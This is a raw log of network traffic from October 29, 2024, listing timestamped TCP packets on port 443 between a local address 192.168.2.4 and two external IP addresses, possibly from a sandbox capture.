Oct 29, 2024 10:46:43.078953028 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.078958988 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.120197058 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.136086941 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.136424065 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.136478901 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.136487961 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.136600018 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.136651039 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.136657000 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.136811018 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.136856079 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.136862040 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.137325048 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.137383938 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.137391090 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.137852907 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.137903929 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.137909889 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.138012886 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.138061047 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.138067007 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.138701916 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.138773918 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.138780117 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.138915062 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.139014006 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.139020920 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.140155077 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.140225887 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.140233040 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.140305042 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.140419960 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.140427113 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.190741062 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.251187086 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.251414061 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.251502991 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.251558065 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.251568079 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.251615047 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.251621962 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.251837969 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.251887083 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.251893997 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.252115965 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.252213001 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.252257109 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.252264977 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.252300978 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.252666950 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.252734900 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.252902985 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.252962112 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.253577948 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.253635883 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.253696918 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.253755093 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.254313946 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.254370928 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.254434109 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.254489899 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.255254030 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.255333900 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.255373001 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.255425930 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.256227970 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.256321907 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.256323099 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.256349087 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.256371021 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.298470974 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.366384983 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.366456032 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.366518974 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.366579056 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.366662979 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.366725922 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.366765976 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.366816044 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.366874933 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.366919994 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.366978884 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367026091 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367089033 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367145061 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367183924 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367235899 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367357969 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367419004 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367501974 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367569923 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367599010 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367650986 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367820978 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367872000 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.367944956 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.367997885 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.368040085 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.368086100 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.368164062 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.368215084 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.368257999 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.368305922 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.372143984 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.372231960 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.372296095 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.372349024 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.372440100 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.372487068 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.372536898 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.372589111 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.372752905 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.372798920 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.372992039 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373040915 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.373086929 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373147011 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.373313904 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373367071 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.373423100 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373481989 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.373527050 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373606920 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.373631954 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373691082 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.373785973 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.373837948 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.416512012 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.416575909 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.482635975 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.482703924 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483023882 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483031034 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483081102 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483087063 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483115911 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483141899 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483163118 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483453989 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483473063 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483516932 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483524084 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483551025 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483570099 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.483973026 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.483989000 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.484050989 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.484057903 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.484121084 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.484323025 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.484338045 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.484384060 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.484390974 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.484428883 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.484999895 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485013962 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485059977 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.485068083 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485107899 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.485449076 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485464096 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485510111 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.485517025 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485568047 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.485827923 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485845089 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485869884 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485891104 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.485897064 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.485934019 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.485954046 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486021996 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486043930 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486088037 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486098051 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486139059 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486139059 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486151934 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486174107 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486191988 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486200094 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486221075 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486239910 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486310005 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486361027 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486373901 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486402988 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486413002 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486421108 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486469030 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486486912 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486493111 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.486522913 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.486532927 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.488243103 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488286018 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488302946 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.488308907 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488332033 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.488487959 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488502026 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488550901 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488552094 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.488564014 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.488585949 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.488615990 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.529792070 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.529810905 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.529869080 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.529879093 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.529930115 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.597311974 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597362995 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597415924 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.597423077 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597448111 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.597471952 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597522020 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.597527981 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597577095 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.597771883 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597850084 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.597852945 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597879887 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.597901106 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.598010063 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598062992 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.598069906 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598297119 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598356009 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.598361969 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598695040 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598737001 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598754883 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.598772049 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.598819017 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.599020004 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599062920 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599085093 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.599092960 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599118948 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.599406958 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599447966 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599464893 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.599478006 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599509001 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.599679947 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599733114 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.599740982 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599765062 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.599797010 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600138903 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600181103 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600193977 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600207090 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600244999 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600545883 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600588083 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600600958 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600626945 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600670099 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600836992 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600881100 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.600886106 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600934982 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.600940943 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601229906 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601279974 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601286888 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.601308107 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601337910 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.601485968 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601538897 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.601545095 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601573944 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601627111 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.601632118 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601739883 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601788998 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601802111 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.601814032 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.601845026 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.601984978 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602025986 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602039099 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602052927 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602087975 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602343082 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602391958 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602396011 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602417946 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602444887 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602657080 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602706909 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602714062 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602731943 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602758884 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602844954 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.602886915 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.602894068 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.603110075 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.603178978 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.607718945 CET	49736	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.607732058 CET	443	49736	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:43.872185946 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:43.919326067 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072377920 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072412968 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072436094 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072455883 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.072458982 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072480917 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072504044 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.072619915 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072642088 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072670937 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072681904 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.072695971 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.072709084 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.078697920 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.078752041 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.078761101 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.126185894 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.191283941 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191323996 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191553116 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.191572905 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191606045 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191627026 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191643953 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191648006 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.191663027 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.191703081 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.192400932 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.192437887 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.192487001 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.192491055 CET	443	49735	172.66.0.235	192.168.2.4
Oct 29, 2024 10:46:44.192547083 CET	49735	443	192.168.2.4	172.66.0.235
Oct 29, 2024 10:46:44.502150059 CET	49739	443	192.168.2.4	216.58.206.36
